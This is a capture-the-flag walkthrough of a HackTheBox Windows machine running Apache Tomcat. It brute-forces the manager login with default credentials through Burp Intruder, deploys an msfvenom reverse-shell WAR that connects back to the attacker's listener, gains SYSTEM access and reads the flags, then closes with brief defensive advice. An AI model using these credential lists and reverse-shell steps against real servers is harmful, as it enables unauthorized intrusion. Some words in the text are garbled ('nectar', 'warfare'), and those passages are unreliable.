This being my third box on HackTheBox, we are able intercept the communication and using brute force, gain access to the Windows Server via easily available default credentials. Once on the server, we spin up a reverse shell that gives us system access. From there on, it’s smooth sailing to the flags.
Table of Contents
- Credential access
- Exploitation without Metasploit
- Post Exploitation
- Defender’s Note
We’ll start with checking which open ports are available to us. This can be done using nmap.
$ sudo nmap -A -T4 -p- 10.10.10.95
The output is shown below. We see that only one port is open – HTTP. The windows server is running apache tomcat.
Not shown: 65534 filtered ports PORT STATE SERVICE VERSION 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-favicon: Apache Tomcat |_http-server-header: Apache-Coyote/1.1 |_http-title: Apache Tomcat/7.0.88 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Microsoft Windows Server 2012 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows 7 Professional (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops
Since this is HTTP, the first thing we should try and do is access the webpage so as to verify it so let’s navigate to [
We are presented with an apache tomcat webpage. When we click on a few tabs, we notice that there is a login page when we click on manager app. Let’s try and search for default credentials used by apache tomcat.
On the first google hit, we get a list of default credentials used by Apache Tomcat.
We can try and intercept the connection using burpsuite. We need to set our machine to use a proxy on port 8080.
From Mozilla, we can do that by navigating to browser preferences > Network Settings. We need to enable manual proxy on port 8080.
Let’s now refresh the webpage. We see that the connection is intercepted.
Click to forward this request. We see the page reloads. We can now click the manager app and forward the intercepted request. We get the login page.
Let’s try one of the credentials in the list we got online: tomcat/tomcat and press enter.
This login is intercepted and we see authorization: Basic with a base64 value.
Ideally, we would like to decode this and see the format of the login and password. We can do that by right clicking and sending the base64 value to Decoder.
We then need to select what we need to decode as. In this case, it’s base64.
From the output received, we see that the format entered was tomcat:tomcat. Now we know the format to enter the credentials as.
Forward the request. It does not work since we have wrong credentials. We are back to the login screen. We can use any of the other credentials to attempt logging in. In this case, we use manager:tomcat.
The connection is intercepted once again. We do see the authorisation value in base64 format. Ideally, we would like to send this to a repeater so as to repeat the request.
We would also like to send this to Intruder.
We see that the repeater gets populated with the request.
We can also see the response that comes through.
Now, we would like to attempt brute forcing the credentials. For that, we need to create a txt file with the credentials that we received.
$ gedit tomcat.txt
We copy and paste the credentials that we got from our google find to this txt file.
We saw that the requests were coming through in Base64 and in the format username:password
So we need to modify the credential file to that format. This can be done by simply replacing the space with the colon.
We can quickly doublecheck that all is ok by converting one of the credentials to base64 output. We see that it is correct. So now, let’s create a bash script to change all the credentials in the tomcat.txt file to base64.
$ echo -n 'tomcat:tomcat' | base64 dG9tY2F0OnRvbWNhdA== $ for credentials in $(cat tomcat.txt); do echo -n $credentials | base64; done YWRtaW46cGFzc3dvcmQ= YWRtaW46 YWRtaW46UGFzc3dvcmQx YWRtaW46cGFzc3dvcmQx YWRtaW46YWRtaW4= YWRtaW46dG9tY2F0 Ym90aDp0b21jYXQ= bWFuYWdlcjptYW5hZ2Vy cm9sZTE6cm9sZTE= cm9sZTE6dG9tY2F0 cm9sZTpjaGFuZ2V0aGlz cm9vdDpQYXNzd29yZDE= cm9vdDpjaGFuZ2V0aGlz cm9vdDpwYXNzd29yZA== cm9vdDpwYXNzd29yZDE= cm9vdDpyMDB0 cm9vdDpyb290 cm9vdDp0b29y dG9tY2F0OnRvbWNhdA== dG9tY2F0OnMzY3JldA== dG9tY2F0OnBhc3N3b3JkMQ== dG9tY2F0OnBhc3N3b3Jk dG9tY2F0Og== dG9tY2F0OmFkbWlu dG9tY2F0OmNoYW5nZXRoaXM=
Now that we have the credentials in base64, all we need to do is set a variable for the credentials field in intruder. This can be done by clicking on positions then selecting the base64 output and clicking add. This action defines position 1.
We can then navigate to payloads and paste the credentials that we got. We also need to disable URL encode by unchecking that field. We can then start the attack.
What burp suite does is that it attempts to login using the credentials that we provided. We are looking for successful login, so a HTTP 200 OK or a file transfer that is larger than the default.
we see that the 20th credential was successful and that we are logged in. We can decode that value and see the actual credentials used. In this case, it was
$ echo "dG9tY2F0OnMzY3JldA==" | base64 -d tomcat:s3cret
Now that we have the correct credentials, all we have to do is disable the proxy and burpsuite interception so that we can login to the server.
Lets use the credentials
tomcat:s3cret to login.
We are successfully logged into the server.
Java web applications are usually packaged as WAR files for deployment. We see an option to upload war files. We need to search how to create reverse shells using warbles. Google to the rescue.
We will use this link to create the msfvenom payload.
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=4444 -f war > shell.war Payload size: 1098 bytes Final size of war file: 1098 bytes $ ls shell.war shell.war
Now that we have the payload, we need to create a listener on our machine so that once the warfare is executed on the server, it can connect to back to our attacker machine. Here we are using nectar to create the listener.
$ nc -nlvp 4444 listening on [any] 4444 ...
Now, let’s upload the warfare shell code that we just created and deploy it.
we can see that it appears in the list of Applications “shell”.
To execute it, navigate to the shell [
http://10.10.10.95:8080/shell/] by clicking on shell. we can see that a connection is successful to the nectar listener. We are dropped in the apache server’s shell.
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.95] 49192 Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\apache-tomcat-7.0.88>
Let’s verify the user we are logged in as. we see that we have system authority on the server.
C:\apache-tomcat-7.0.88>whoami whoami nt authority\system
Since we are logged into the machine as system user, we can navigate to the User folder and see which users exist on the machine. There appears to be only one user: Administrator.
C:\apache-tomcat-7.0.88>cd C:\ cd C:\ C:\>cd Users cd Users C:\Users>dir dir Volume in drive C has no label. Volume Serial Number is FC2B-E489 Directory of C:\Users 06/18/2018 11:31 PM <DIR> . 06/18/2018 11:31 PM <DIR> .. 06/18/2018 11:31 PM <DIR> Administrator 08/22/2013 06:39 PM <DIR> Public 0 File(s) 0 bytes 4 Dir(s) 27,603,206,144 bytes free
User & Root Flag
The root flag is normally located on a desktop of Administrator
(C:\Documents and Settings\Administrator\Desktop). Once in the directory, we see the “flags” directory. When Lego into the folder, we see the file “
2 for the price of 1.txt” exists which hints on us getting two flags in 1 file.
C:\Users>cd Administrator cd Administrator C:\Users\Administrator>cd Desktop cd Desktop C:\Users\Administrator\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is FC2B-E489 Directory of C:\Users\Administrator\Desktop 06/19/2018 07:09 AM <DIR> . 06/19/2018 07:09 AM <DIR> .. 06/19/2018 07:09 AM <DIR> flags 0 File(s) 0 bytes 3 Dir(s) 27,603,206,144 bytes free C:\Users\Administrator\Desktop>cd flags cd flags C:\Users\Administrator\Desktop\flags>dir dir Volume in drive C has no label. Volume Serial Number is FC2B-E489 Directory of C:\Users\Administrator\Desktop\flags 06/19/2018 07:09 AM <DIR> . 06/19/2018 07:09 AM <DIR> .. 06/19/2018 07:11 AM 88 2 for the price of 1.txt 1 File(s) 88 bytes 2 Dir(s) 27,603,206,144 bytes free
We can read the contents of using the “
type” command. Sure enough, we get both the user and root flags in this one file.
C:\Users\Administrator\Desktop\flags>type 2* type 2* user.txt 7004dXXXXXXXXXXXXXXXXXXXXXXXebd00 root.txt 04a8bXXXXXXXXXXXXXXXXXXXXXXXfe90e
- We were able to login easily using default credentials. Always change default credentials.
- HTTP protocol sends traffic in cleartext. This can easily be intercepted as we saw above. Opted for secure protocol alternative – HTTPS.
- Ensure that access to resources is set to read only so as to limit file execution.